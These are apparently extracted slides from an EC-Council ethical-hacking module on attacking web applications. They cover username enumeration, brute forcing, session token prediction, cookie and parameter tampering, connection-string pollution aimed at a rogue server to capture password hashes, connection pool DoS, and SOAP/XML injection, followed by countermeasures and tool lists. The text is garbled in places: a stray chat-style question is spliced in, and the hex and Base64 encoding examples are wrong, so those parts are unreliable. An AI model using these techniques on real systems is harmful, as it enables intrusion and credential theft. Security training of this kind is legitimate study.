Analyze Web Applications: Identify Server-Side Functionality

Examine page source and URLs and make an educated guess to determine the internal structure and functionality of web applications.

Tools used:

<table>
<thead>
<tr>
<th>Tool</th>
<th>URL</th>
</tr>
</thead>
<tbody>
<tr>
<td>Wget</td>
<td><a href="http://www.gnu.org">http://www.gnu.org</a></td>
</tr>
<tr>
<td>Teleport Pro</td>
<td><a href="http://www.tenmax.com">http://www.tenmax.com</a></td>
</tr>
<tr>
<td>BlackWidow</td>
<td><a href="http://softbytelabs.com">http://softbytelabs.com</a></td>
</tr>
</tbody>
</table>

Examine URL

```
https://www.juggyboy.com/customers.aspx?name=existing%20clients&isActive=0&startDate=2011-2F2010&endDate=2012-2F2011&showBy=name
```

SSL

ASPX Platform

Database Column

CEH

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
## Analyze Web Applications: Map the Attack Surface

<table>
<thead>
<tr>
<th>Information</th>
<th>Attack</th>
<th>Information</th>
<th>Attack</th>
</tr>
</thead>
<tbody>
<tr>
<td>Client-Side Validation</td>
<td>Injection Attack, Authentication Attack</td>
<td>Injection Attack</td>
<td>Privilege Escalation, Access Controls</td>
</tr>
<tr>
<td>Database Interaction</td>
<td>SQL Injection, Data Leakage</td>
<td>Cleartext Communication</td>
<td>Data Theft, Session Hijacking</td>
</tr>
<tr>
<td>File Upload and Download</td>
<td>Directory Traversal</td>
<td>Error Message</td>
<td>Information Leakage</td>
</tr>
<tr>
<td>Display of User-Supplied Data</td>
<td>Cross-Site Scripting</td>
<td>Email Interaction</td>
<td>Email Injection</td>
</tr>
<tr>
<td>Dynamic Redirects</td>
<td>Redirection, Header Injection</td>
<td>Application Codes</td>
<td>Buffer Overflows</td>
</tr>
<tr>
<td>Login</td>
<td>Username Enumeration, Password Brute-Force</td>
<td>Third-Party Application</td>
<td>Known Vulnerabilities Exploitation</td>
</tr>
<tr>
<td>Session State</td>
<td>Session Hijacking, Session Fixation</td>
<td>Web Server Software</td>
<td>Known Vulnerabilities Exploitation</td>
</tr>
</tbody>
</table>
Web App Hacking Methodology

1. Footprint Web Infrastructure
2. Attack Web Servers
3. Analyze Web Applications
4. Attack Authentication Mechanism
5. Attack Authorization Schemes
6. Attack Session Management Mechanism
7. Perform Injection Attacks
8. Attack Data Connectivity
9. Attack Web App Client
10. Attack Web Services
Attack Authentication Mechanism

Attackers can exploit design and implementation flaws in web applications, such as failure to check password strength or insecure transportation of credentials, to bypass authentication mechanisms.

1. Username Enumeration
   - Verbose failure messages
   - Predictable usernames

2. Password Attacks
   - Password functionality exploits
   - Password guessing
   - Brute-force attack

3. Session Attacks
   - Session prediction
   - Session brute-forcing
   - Session poisoning

4. Cookie Exploitation
   - Cookie poisoning
   - Cookie sniffing
   - Cookie replay
Username Enumeration

If login error states which part of the username and password is not correct, guess the users of the application using the **trial-and-error method**

![Username Steve does not exist](image)

Username successfully enumerated to Jason

Some applications automatically generate **account usernames** based on a **sequence** (such as user101, user102 etc.), and attackers can determine the sequence and enumerate valid usernames

**Note:** Username enumeration from verbose error messages will fail if the application implements account lockout policy i.e. locks account after a certain number of failed login attempts.
Password Attacks: Password Functionality Exploits

Password Changing

Determine password change functionality within the application by spidering the application or creating a login account.

Try random strings for ‘Old Password’, ‘New Password’ and ‘Confirm the New Password’ fields and analyze errors to identify vulnerabilities in password change functionality.

Password Recovery

‘Forgot Password’ features generally present a challenge to the user; if the number of attempts is not limited, the attacker can guess the challenge answer successfully with the help of social engineering.

Applications may also send a unique recovery URL or existing password to an email address specified by the attacker if the challenge is solved.

‘Remember Me’ Exploit

“Remember Me” functions are implemented using a simple persistent cookie, such as RememberUser=jason or a persistent session identifier such as RememberUser=ABY112010.

Attackers can use an enumerated username or predict the session identifier to bypass authentication mechanisms.
Password Attacks: Password Guessing

- **Password List**: Attackers create a list of possible passwords using most commonly used passwords, footprinting target and social engineering techniques, and try each password until the correct password is discovered.

- **Password Dictionary**: Attackers can create a dictionary of all possible passwords using tools such as Dictionary Maker to perform dictionary attacks.

- **Tools**: Password guessing can be performed manually or using automated tools such as WebCracker, Brutus, Burp Insider, THC-Hydra, etc.

---

Could you provide more details on the tools mentioned (WebCracker, Brutus, Burp Insider, THC-Hydra)? I'm particularly interested in understanding their functionalities and how they are used in the context of password attacks.
Password Attacks: **Brute-forcing**

- In brute-forcing attacks, attackers **crack the log-in passwords** by trying all possible values from a set of alphabets, numeric, and special characters.
- Attackers can use password cracking tools such as **Burp Suite's Intruder, Brutus, and Sensepost's Crowbar**.

![Brute-forcing tools and screenshots](http://portswigger.net) ![Brute-forcing tools and screenshots](http://www.hoobie.net)
Session Attacks: Session ID Prediction/Brute-forcing

In the first step, the attacker collects some valid session ID values by sniffing traffic from authenticated users.

Attackers then analyze captured session IDs to determine session ID generation process such as the structure of session ID, the information that is used to create it, and the encryption or hash algorithm used by application to protect it.

In addition, the attacker can implement a brute force technique to generate and test different values of session ID until he successfully gets access to the application.

Vulnerable session generation mechanisms that use session IDs composed by username or other predictable information, like timestamp or client IP address can be exploited by easily guessing valid session IDs.

GET Request

GET http://janina:8180/WebGoat/attack?Screen.17 & menu=410 HTTP/1.1
Host: janina:8180
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070327 Firefox/2.0.0.4
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Referer: http://janina:8180/WebGoat/attack?Screen=17&menu=410
Cookie: JSESSIONID=user01
Authorization: Basic Z3Vkc3Q6Z3Vlc3Q

Predictable Session Cookie
Cookie Exploitation: Cookie Poisoning

- If the cookie contains **passwords** or **session identifiers**, attackers can steal the cookie using techniques such as **script injection** and **eavesdropping**.
- Attackers then replay the cookie with the same or altered passwords or session identifiers to **bypass web application authentication**.
- Attackers can trap cookies using tools such as **Paros Proxy**, **Burp Suite**, etc.
Web App Hacking Methodology

1. Footprint Web Infrastructure
2. Attack Web Servers
3. Analyze Web Applications
4. Attack Authentication Mechanism
5. Attack Authorization Schemes
6. Attack Session Management Mechanism
7. Perform Injection Attacks
8. Attack Data Connectivity
9. Attack Web App Client
10. Attack Web Services
Authorization Attack

Attackers manipulate the HTTP requests to subvert the application authorization schemes by modifying input fields that relate to user ID, username, access group, cost, filenames, file identifiers, etc.

Attackers first access web application using low privileged account and then escalate privileges to access protected resources.
HTTP Request Tampering

Query String Tampering
- If the query string is visible in the address bar on the browser, the attacker can easily change the string parameter to `bypass authorization mechanisms`.

- Attackers can use web spidering tools such as Burp Suite to scan web app for POST parameters.

HTTP Headers
- If the application uses the `Referer header` for making access control decisions, attackers can modify it to access `protected application functionalities`.

```plaintext
GET http://juggyboy:8180/Applications/Download?ItemID = 201 HTTP/1.1
Host: janaina:8180
User-Agent: Mozilla/5.0 (Window; U: Windows NT 5.2; en-US; rv:1.8.1.4) Gecko/20070325 Firefox/2.0.0.4
Accept: text/xml, application/xml, application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*,q=0.5
Proxy-Connection: keep-alive
Referer: http://juggyboy:8180/Applications/Download?Admin = False
```

ItemID = 201 is not accessible as Admin parameter is set to false, attacker can change it to true and access protected items.
Authorization Attack: **Cookie Parameter Tampering**

- In the first step, the attacker collects some cookies set by the web application and analyzes them to determine the **cookie generation mechanism**.

- Attacker then traps cookies set by the web application, tampers with its parameters using tools such as **Paros Proxy**, and replay to the application.
Web App Hacking Methodology

1. Footprint Web Infrastructure
2. Attack Web Servers
3. Analyze Web Applications
4. Attack Authentication Mechanism
5. Attack Authorization Schemes
6. Attack Session Management Mechanism
7. Perform Injection Attacks
8. Attack Data Connectivity
9. Attack Web App Client
10. Attack Web Services
Session Management Attack

Attackers break an application's session management mechanism to bypass the authentication controls and impersonate privileged application users.

Session Token Generation
1. Session Tokens Prediction
2. Session Tokens Tampering

Session Tokens Handling
1. Session Hijacking
2. Session Replay
3. Man-In-The-Middle Attack
Attacking Session Token Generation Mechanism

Weak Encoding Example

https://www.juggyboy.com/checkout?
SessionToken=%75%73%65%72%3D%6A%61%73%6F%6E%3B%61%70%70%3D%61%64%6D%69%6E%64%61%74%65%3D%32%33%2F%31%31%2F%32%30%31%30

Hex-encoding of an ASCII string user=jason;app=admin;date=23/11/2010, attacker can predict another session token by just changing date and use it for another transaction with server

Session Token Prediction

Attackers obtain valid session tokens by sniffing the traffic or legitimately logging into application and analyzing it for encoding (hex-encoding, Base64) or any pattern. If any meaning can be reverse engineered from the sample of session tokens, attackers attempt to guess the tokens recently issued to other application users. Attackers then make a large number of requests with the predicted tokens to a session-dependent page to determine a valid session token.
Attacking Session Tokens Handling Mechanism: Session Token Sniffing

- Attackers sniff the application traffic using a sniffing tool such as **Wireshark** or an intercepting proxy such as **Burp**. If HTTP cookies are being used as the transmission mechanism for session tokens and the secure flag is not set, attackers can **replay the cookie** to gain unauthorized access to the application.
- Attacker can use **session cookies** to perform session hijacking, session replay, and Man-in-the-Middle attacks.
Web App Hacking Methodology

1. Footprint Web Infrastructure
2. Attack Web Servers
3. Analyze Web Applications
4. Attack Authentication Mechanism
5. Attack Authorization Schemes
6. Attack Session Management Mechanism
7. Perform Injection Attacks
8. Attack Data Connectivity
9. Attack Web App Client
10. Attack Web Services
Injection Attacks

In injection attacks, attackers supply crafted malicious input that is syntactically correct according to the interpreted language being used in order to break application’s normal intended

If user input is used into code that is dynamically executed, enter crafted input that breaks the intended data context and executes commands on the server

Exploit operating systems by entering malicious codes in input fields if applications utilize user input in a system-level command

Inject arbitrary STMP commands into application and SMTP server conversation to generate large volumes of spam email

Enter a series of malicious SQL queries into input fields to directly manipulate the database

Take advantage of non-validated web application input vulnerabilities to pass LDAP filters to obtain direct access to databases

Enter malicious strings in input fields in order to manipulate the XPath query so that it interferes with the application’s logic

Note: For complete coverage of SQL Injection concepts and techniques refer Module 14: SQL Injection Attacks

Copyright © by EC-Council

All Rights Reserved. Reproduction is Strictly Prohibited.
Web App Hacking Methodology

1. Footprint Web Infrastructure
2. Attack Web Servers
3. Analyze Web Applications
4. Attack Authentication Mechanism
5. Attack Authorization Schemes
6. Attack Session Management Mechanism
7. Perform Injection Attacks
8. Attack Data Connectivity
9. Attack Web App Client
10. Attack Web Services
Database connectivity attacks exploit the way applications connect to the database instead of abusing database queries.

**Data Connectivity Attacks**
1. Connection String Injection
2. Connection String Parameter Pollution (CSPP) Attacks
3. Connection Pool DoS

Database connection strings are used to connect applications to database engines.

```
"Data Source=Server,Port;
Network Library=DBMSSOCN;
Initial Catalog=Database;
User ID=Username;
Password=pwd;"
```

Example of a common connection string used to connect to a Microsoft SQL Server database.
Connection String Injection

- In a delegated authentication environment, attacker inject parameters in connection string by appending them with the semicolon (;) character.

- A connection string injection attack can occur when dynamic string concatenation is used to build connection strings based on user input.

Before Injection

```
"Data Source=Server,Port; Network Library=DBMSSOCN; Initial Catalog=DataBase; User ID=Username; Password=pwd;"
```

After Injection

```
"Data Source=Server,Port; Network Library=DBMSSOCN; Initial Catalog=DataBase; User ID=Username; Password=pwd; Encryption=off"
```

When the connection string is populated, the Encryption value will be added to the previously configured set of parameters.
Connection String Parameter Pollution (CSPP) Attacks

In CSPP Attacks, attackers overwrite parameter values in the connection string.

Hash Stealing
Attacker replaces the value of Data Source parameter with that of a Rogue Microsoft SQL Server connected to the Internet running a sniffer.

Data source = SQL2005;
initial catalog = db1;
integrated security=no; user id=;Data Source=Rogue Server; Password=;
Integrated Security=true;

Attacker will then sniff Windows credentials (password hashes) when application tries to connect to Rogue_Server with the Windows credentials it's running on.

Port Scanning
Attacker tries to connect to different ports by changing value for and see the error messages obtained.

Data source = SQL2005;
initial catalog = db1;
integrated security=no; user id=;Data Source=Target Server, Target Port=443;
Password=; Integrated Security=true;

Hijacking Web Credentials
Attacker tries to connect to the database by using the Web Application System account instead of a user-provided set of credentials.

Data source = SQL2005;
initial catalog = db1;
integrated security=no; user id=;Data Source=Target Server, Target Port;
Password=; Integrated Security=true;
Connection Pool DoS

Attacker examines the connection pooling settings of the application, constructs a large malicious SQL query and runs multiple queries simultaneously to consume all connections in the connection pool, causing database queries to fail for legitimate users.

Example:

By default in ASP.NET, the maximum allowed connections in the pool is 100 and timeout is 30 seconds.

Thus an attacker can run 100 multiple queries with 30+ seconds execution time within 30 seconds to cause a connection pool DoS such that no one else would be able to use the database related parts of the application.
Web App Hacking Methodology

1. Footprint Web Infrastructure
2. Attack Web Servers
3. Analyze Web Applications
4. Attack Authentication Mechanism
5. Attack Authorization Schemes
6. Attack Session Management Mechanism
7. Perform Injection Attacks
8. Attack Data Connectivity
9. Attack Web App Client
10. Attack Web Services

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Attack Web App Client

Attackers interact with the server-side applications in unexpected ways in order to perform malicious actions against the end users and access unauthorized data.
<table>
<thead>
<tr>
<th>Step</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Footprint Web Infrastructure</td>
</tr>
<tr>
<td>2</td>
<td>Attack Web Servers</td>
</tr>
<tr>
<td>3</td>
<td>Analyze Web Applications</td>
</tr>
<tr>
<td>4</td>
<td>Attack Authentication Mechanism</td>
</tr>
<tr>
<td>5</td>
<td>Attack Authorization Schemes</td>
</tr>
<tr>
<td>6</td>
<td>Attack Session Management Mechanism</td>
</tr>
<tr>
<td>7</td>
<td>Perform Injection Attacks</td>
</tr>
<tr>
<td>8</td>
<td>Attack Data Connectivity</td>
</tr>
<tr>
<td>9</td>
<td>Attack Web App Client</td>
</tr>
<tr>
<td>10</td>
<td>Attack Web Services</td>
</tr>
</tbody>
</table>
Attack Web Services

Web Services work atop the legacy web applications, any attack on web service will immediately expose underlying application’s business and logic vulnerabilities for various attacks.

Web Services
- SOAP Injection, XML Injection
- WSDL Probing Attacks
- Information Leakage, Application Logic Attacks
- Database Attacks, DoS Attacks
Web Services Probing Attacks

In the first step, the attacker traps the WSDL document from the web service traffic and analyzes it to determine the purpose of the application, functional break down, entry points, and message types. These attacks work similar to SQL injection attacks.

Attacker then creates a set of valid requests by selecting a set of operations, and formulating the request messages according to the rules of the XML Schema that can be submitted to the web service. Attacker uses these requests to include malicious contents in SOAP requests and analyzes errors to gain a deeper understanding of potential security weaknesses.

XML

```
<?xml version="1.0" encoding="utf-8"?>
 xmlns:xsi=http://www.w3.org/2001/XMLSchema-instance
 xmlns:SOAP-ENV=http://schemas.xmlsoap.org/soap/envelope/世纪">
  <SOAP-ENV:Body>
    <SOAP-ENV:Fault>
      <faultcode>soap:Server</faultcode>
      <faultstring>Server was unable to process request</faultstring>
      <detail />
    </SOAP-ENV:Fault>
  </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
```

Server throws an error
Web Service Attacks: SOAP Injection

- Attacker injects **malicious query strings** in user input field to bypass web services authentication mechanisms and **access backend databases**

- This attack works similarly to SQL Injection attacks

```xml
<?xml version="1.0" encoding="utf-8" ?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/
xmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'
xmlls:xsd='http://www.w3.org/2001/XMLSchema'>
  <soap:Body>
    <GetProductInformationByNameResponse
      xmlns="http://juggboy/ProductsInfo/"/>
  </soap:Body>
</soap:Envelope>
```
Web Service Attacks: **XML Injection**

- Attackers inject XML data and tags into user input fields to manipulate XML schema or populate XML database with bogus entries.
- XML injection can be used to bypass authorization, escalate privileges, and generate web services DoS attacks.

**Server Side Code**

```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<users>
  <user>
    <username>gandalf</username>
    <password>!c3</password>
    <userid>101</userid>
    <mail>gandalf@middleearth.com</mail>
  </user>
  <user>
    <username>Mark</username>
    <password>12345</password>
    <userid>102</userid>
    <mail>gandalf@middleearth.com</mail>
  </user>
  <user>
    <username>jason</username>
    <password>attack</password>
    <userid>105</userid>
    <mail>jason@juggyboy.com</mail>
  </user>
</users>
```

Creates new user account on the server.
Web Services Parsing Attacks

Parsing attacks exploit vulnerabilities and weaknesses in the processing capabilities of XML parser to create a denial-of-service attack or generate logical errors in web service request processing.

**Recursive Payloads**
Attacker queries for web services with a grammatically correct SOAP document that contains infinite processing loops resulting in exhaustion of XML parser and CPU resources.

**Oversize Payloads**
Attackers send a payload that is excessively large to consume all systems resources rendering web services inaccessible to other legitimate users.
Web Service Attack Tool: soapUI

soapUI is the leading desktop application for inspecting, invoking, monitoring, simulating or mocking, and functional, load, compliance, and surveillance testing of REST, WADL, SOAP, and WSDL-based web services over HTTP

Features:
1. Service Simulation
2. Functional Testing
3. Load Testing

Attacker can use this tool to carry out web services probing, SOAP injection, XML injection, and web services parsing attacks

http://www.soapui.org
Altova XMLSpy is the XML editor and development environment for modeling, editing, transforming, and debugging XML-related technologies. It provides unsurpassed compliance with the latest industry standards, including XML, XML Schema, XSLT, XPath, and XQuery, as well as SOAP and WSDL 1.1 / 2.0 for web services development.

http://www.altova.com

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Module Flow

- Web App Pen Testing
- Web App Concepts
- Security Tools
- Web App Threats
- Countermeasures
- Hacking Methodology

Web Application Hacking Tools
Web Application Hacking Tool: Burp Suite Professional

Burp Suite is a web applications security testing platform that **supports the entire testing process**, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities.

http://www.portswigger.net
CookieDigger helps identify weak cookie generation and insecure implementations of session management by web applications.

It works by collecting and analyzing cookies issued by a web application for multiple users.

The tool reports on the predictability and entropy of the cookie and whether critical information, such as user name and password, are included in the cookie values.

http://www.foundstone.com
Web Application Hacking Tools: WebScarab

- WebScarab is a framework for analyzing applications that communicate using the HTTP and HTTPS protocols.
- It allows the attacker to review and modify requests created by the browser before they are sent to the server, and to review and modify responses returned from the server before they are received by the browser.

![WebScarab Interface](http://www.owasp.org)
Web Application Hacking Tools

- Instant Source
  http://www.blazingtools.com

- GNU Wget
  http://gnuwin32.sourceforge.net

- Web Sleuth
  http://sandsprite.com

- BlackWidow
  http://softbytelabs.com

- SiteScope
  http://www.foundstone.com

- cURL
  http://curl.haxx.se

- w3af
  http://w3af.sourceforge.net

- HttpBee
  http://www.00o.nu

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Module Flow

- Web App Pen Testing
- Web App Concepts
- Security Tools
- Web App Threats
- Countermeasures
- Hacking Methodology
- Web Application Hacking Tools

Certified Ethical Hacker

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Web applications employ different encoding schemes for their data to **safely handle unusual characters and binary data** in the way you intend.

**Types of Encoding Schemes**

**URL Encoding**
URL encoding is the process of converting URL into valid ASCII format so that data can be safely transported over HTTP.
URL encoding replaces unusual ASCII characters with "%" followed by the character’s two-digit ASCII code expressed in hexadecimal such as:
- %3d =
- %0a New line
- %20 space

**HTML Encoding**
HTML encoding scheme is used to represent unusual characters so that they can be safely combined within an HTML document.
It defines several HTML entities to represent particular usual characters such as:
- &amp; &
- &lt; <
- &gt; >
Encoding Schemes

**Unicode Encoding**
- **16 bit Unicode encoding:**
  It replaces unusual Unicode characters with "%u" followed by the character's Unicode code point expressed in hexadecimal.
  - %u2215 /
  - %u00e9 

- **UTF-8**
  It is a variable-length encoding standard which uses each byte expressed in hexadecimal and preceded by the % prefix.
  - %c2%a9 ©
  - %e2%89%a0 

**Base64 Encoding**
- Base64 encoding scheme represents any binary data using only printable ASCII characters.
- Usually it is used for encoding email attachments for safe transmission over SMTP and also used for encoding user credentials.
- **Example:**
  cake = 01100011011000001011010110 1100101
  Base64 Encoding: 011000 110110 000101 101011 011001 010000 000000

**Hex Encoding**
- HTML encoding scheme uses hex value of every character to represent a collection of characters for transmitting binary data.
- **Example:**
  Hello A125C458D8
  Jason 123B684AD9
How to Defend Against SQL Injection Attacks?

- Monitor DB traffic using an IDS, WAP
- Limit the length of user input
- Use custom error messages
- Disable commands like xp_cmdshell
- Isolate database server and web server
- Always use method attribute set to POST
- Run database service account with minimal rights
- Move extended stored procedures to an isolated server
- Use typesafe variables or functions such as IsNumeric() to ensure typesafety
- Validate and sanitize user inputs passed to the database
- Use low privileged account for DB connection
How to Defend Against Command Injection Flaws?

- Perform **input validation**
- Escape **dangerous characters**
- Use **language-specific** libraries that avoid problems due to shell commands
- Use a **safe API** which avoids the use of the interpreter entirely
- Perform input and output **encoding**
- Structure requests so that all supplied parameters are treated as data, rather than potentially executable content
- Use **parameterized** SQL queries
- Use **modular shell disassociation** from kernel
How to Defend Against XSS Attacks?

1. Validate all headers, cookies, query strings, form fields, and hidden fields (i.e., all parameters) against a rigorous specification.

2. Filtering script output can also defeat XSS vulnerabilities by preventing them from being transmitted to users.

3. Encode Input and output and filter Meta characters in the input.

4. Use a web application firewall to block the execution of malicious script.

5. Do not always trust websites that use HTTPS when it comes to XSS.

6. Convert all non-alphanumeric characters to HTML character entities before displaying the user input in search engines and forums.

7. Use testing tools extensively during the design phase to eliminate such XSS holes in the application before it goes into use.

8. Develop some standard or signing scripts with private and public keys that actually check to ascertain that the script introduced is really authenticated.
### How to Defend Against **DoS Attack**?

<table>
<thead>
<tr>
<th>Step</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Configure the firewall to deny external Internet Control Message Protocol (ICMP) traffic access.</td>
</tr>
<tr>
<td>2</td>
<td>Secure the remote administration and connectivity testing.</td>
</tr>
<tr>
<td>3</td>
<td>Prevent use of unnecessary functions such as <code>gets</code>, <code>strcpy</code>, and return addresses from overwritten etc.</td>
</tr>
<tr>
<td>4</td>
<td>Prevent the sensitive information from overwriting.</td>
</tr>
<tr>
<td>5</td>
<td>Perform thorough input validation.</td>
</tr>
<tr>
<td>6</td>
<td>Data processed by the attacker should be stopped from being executed.</td>
</tr>
</tbody>
</table>
How to Defend Against Web Services Attack?

**How to Defend Against Web Services Attack?**

1. **Configure WSDL Access Control Permissions**
   - Grant or deny access to any type of WSDL-based SOAP messages

2. **Use Document-Centric Authentication**
   - Credentials that use SAML

3. **Use Multiple Security Credentials**
   - Such as X.509 Cert, SAML assertions, and WS-Security

4. **Deploy Web Services-Capable Firewalls**
   - Capable of SOAP and ISAPI level filtering

5. **Configure Firewalls/IDS Systems**
   - For web services anomaly and signature detection

6. **Maintain and Update Secure Repository**
   - Of XML Schemas

7. **Implement Centralized In-Line Requests and Responses**
   - Schema Validation

8. **Block External References**
   - And use pre-fetched content when de-referencing URLs
Web Application Countermeasures

**Unvalidated Redirects and Forwards**
1. Avoid using redirects and forwards
2. If destination parameters cannot be avoided, ensure that the supplied value is valid, and authorized for the user

**Broken Authentication and Session Management**
1. Use SSL for all authenticated parts of the application
2. Verify whether all the users’ identities and credentials are stored in a hashed form
3. Never submit session data as part of a GET, POST

**Cross-Site Request Forgery**
1. Log off immediately after using a web application and clear the history
2. Do not allow your browser and websites to save login details
3. Check the HTTP Referrer header and when processing a POST, ignore URL parameters

**Insecure Cryptographic Storage**
1. Do not create or use weak cryptographic algorithms
2. Generate encryption keys offline and store them securely
3. Ensure that encrypted data stored on disk is not easy to decrypt
Web Application Countermeasures

Insufficient Transport Layer Protection
1. Non-SSL requests to web pages should be redirected to the SSL page
2. Set the ‘secure’ flag on all sensitive cookies
3. Configure SSL provider to support only strong algorithms
4. Ensure the certificate is valid, not expired, and matches all domains used by the site
5. Backend and other connections should also use SSL or other encryption technologies

Directory Traversal
1. Define access rights to the protected areas of the website
2. Apply checks/hot fixes that prevent the exploitation of the vulnerability such as Unicode to affect the directory traversal
3. Web servers should be updated with security patches in a timely manner

Cookie/Session Poisoning
1. Do not store plain text or weakly encrypted password in a cookie
2. Implement cookie’s timeout
3. Cookie’s authentication credentials should be associated with an IP address
4. Make logout functions available
Web Application Countermeasures

**Security Misconfiguration**
- Configure all security mechanisms and turn off all unused services
- Setup roles, permissions, and accounts and disable all default accounts or change their default passwords
- Scan for latest security vulnerabilities and apply the latest security patches

**LDAP Injection Attacks**
- Perform type, pattern, and domain value validation on all input data
- Make LDAP filter as specific as possible
- Validate and restrict the amount of data returned to the user
- Implement tight access control on the data in the LDAP directory
- Perform dynamic testing and source code analysis

**File Injection Attack**
- Strongly validate user input
- Consider implementing a chroot jail
- PHP: Disable allow_url_fopen and allow_url_include in php.ini
- PHP: Disable register_globals and use E_STRICT to find uninitialized variables
- PHP: Ensure that all file and streams functions (stream_*) are carefully vetted
How to Defend Against Web Application Attacks?

1. Perform input validation
2. Configure the firewall to deny external ICMP traffic access
3. Use WAF Firewall/IDS and filter packets
4. Shut down the unnecessary services and ports
5. Keep patches current
6. Connect to the database using non-privileged account
7. Analyze the source code for SQL injection
8. Minimize use of 3rd party apps
9. Sanitize and filter user input
10. Enable least privileges to the database, tables, and columns
11. Grant least privileges to the database, tables, and columns
12. Perform dynamic testing and source code analysis
13. Make LDAP filter as specific as possible
14. Disable verbose error messages and use custom error pages
15. Disable commands like xp_cmdshell
16. Custom Error Page
Module Flow

Web App Pen Testing
Web App Concepts

Security Tools
Web App Threats

Countermeasures
Hacking Methodology

Web Application Hacking Tools
Web Application Security Tool: Acunetix
Web Vulnerability Scanner

- Acunetix Web Vulnerability Scanner detects web server type and application language using crawler
- It includes advanced penetration testing tools, such as the HTTP Editor and the HTTP Fuzzer
- Port scans a web server and runs security checks against network services
- Test web forms and password protected areas
- It includes an automatic client script analyzer allowing for security testing of Ajax and Web 2.0 applications
- It enables administrator to perform in-depth SQL injection and Cross-Site Scripting testing

http://www.acunetix.com
Web Application Security Tool: Falcove
Web Vulnerability Scanner

- Falcove scans websites for application layer vulnerabilities and allows you to penetrate into the system through vulnerable web applications and misconfigured database connections.
- It automatically crawls websites to detect web vulnerabilities such as:
  1. Cross-Site Scripting
  2. SQL Injection
  3. Code Execution Attacks
  4. Input Validation

http://www.buyservers.net

CEH Certified Ethical Hacker

ATHENA
TRUNG TÂM BẢO TÀO AN NINH MẠNG & QUẢN TRỊ MẠNG
WWW.ATHENA.EDU.VN
Web Application Security Scanner: Netsparker

- Netsparker performs automated comprehensive web application scanning for vulnerabilities such as SQL injection, cross-site scripting, remote code injection, etc.
- It delivers detection, confirmation and exploitation of vulnerabilities in a single integrated environment.
N-Stalker Web Application Security Scanner is an effective suite of web security assessment checks to enhance the overall security of web applications against a wide range of vulnerabilities and sophisticated hacker attacks.

It contains all web security assessment checks such as:
1. Code injection
2. Cross-Site scripting
3. Parameter tampering
4. Web server vulnerabilities

http://nsteller.com
Web Application Security Tools

- **Paros Proxy**
  - [http://www.parosproxy.org](http://www.parosproxy.org)

- **Emsa Web Monitor**
  - [http://www.e-systems.ro](http://www.e-systems.ro)

- **Ratproxy**
  - [http://code.google.com](http://code.google.com)

- **Wapiti**
  - [http://wapiti.sourceforge.net](http://wapiti.sourceforge.net)

- **WebWatchBot**
  - [http://www.exclamationsoft.com](http://www.exclamationsoft.com)

- **KeepNI**
  - [http://www.keepni.com](http://www.keepni.com)

- **Grabber**
  - [http://rgaucher.info](http://rgaucher.info)

- **XSSS**
  - [http://www.sven.de](http://www.sven.de)
dotDefender is a software-based web application Firewall.

dotDefender complements the network firewall, IPS, and other network-based Internet security products.

It **inspects the HTTP/HTTPS traffic** for suspicious behavior.

It detects and blocks SQL injection attacks.

http://www.applicure.com

---

Copyright © by EC-Council

All Rights Reserved. Reproduction is Strictly Prohibited.
Web Application Firewall: **IBM AppScan**

IBM Rational AppScan is a web application security testing tool that **automates vulnerability assessments**.

- Prevents SQL injection attacks on websites
- Scans web sites for embedded malware
- Regulatory compliance and reporting

[Image of IBM AppScan interface]

http://www-01.ibm.com
Web Application Firewall: ServerDefender VP

ServerDefender VP secures your sensitive database content by blocking threats such as:

1. Cross-site scripting
2. SQL injection
3. Buffer overflows
4. File inclusion
5. Denial of service
6. Cookie poisoning
7. Schema poisoning

http://www.port80software.com

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Web Application Firewall

- Hyperguard
  http://www.artofdefence.com

- Profense
  http://www.armorlogic.com

- Radware’s AppWall
  http://www.radware.com

- ThreatSentry
  http://www.privacyware.com

- SmartWAF
  http://www.armorize.com

- ThreatRadar
  http://www.imperva.com

- webApp.Secure™
  http://www.webscurity.com

- ModSecurity
  http://www.breach.com
Module Flow

- Web App Pen Testing
- Web App Concepts
- Security Tools
- Web App Threats
- Countermeasures
- Hacking Methodology
- Web Application Hacking Tools

Copyright © by EC-Council
All Rights Reserved. Reproduction is Strictly Prohibited.
Web Application Pen Testing

- Web application pen testing is used to **identify, analyze, and report vulnerabilities** such as input validation, buffer overflow, SQL injection, bypassing authentication, code execution, etc. in a given application.
- Best way to perform penetration testing is to **conduct a series of methodical and repeatable tests**, and to work through all of the different application vulnerabilities.

**Why Web Application Pen Testing?**

**Identification of Ports**
Scan the ports to identify the associated running services and analyze them through automated or manual tests to find weaknesses.

**Verification of Vulnerabilities**
To exploit the vulnerability in order to test and fix the issue.

**Remediation of Vulnerabilities**
To retest the solution against vulnerability to ensure that it is completely secure.
Information Gathering

- **Analyze the robots.txt file**
  - Allowed and disallowed directories
  - Issues of web application structure, error pages produced
  - Cookie information, 300 HTTP and 400 status codes, 500 internal server errors
  - Web applications, old versions of files or artifacts
  - Web server software version, scripting environment, and OS in use

- **Perform search engine reconnaissance**
- **Identify application entry points**
- **Identify the web applications**
- **Analyze the O/P from HEAD and OPTIONS http requests**

- **Retrieve and analyze robots.txt file using tools such as wget and Google Webmaster tools**
- **Use the advanced "site:" search operator and then click "Cached" to perform search engine reconnaissance**
- **Identify application entry points using tools such as Webscarab, Burp proxy, Paros Proxy, TamperIE (for Internet Explorer) Tamper Data (for Firefox)**
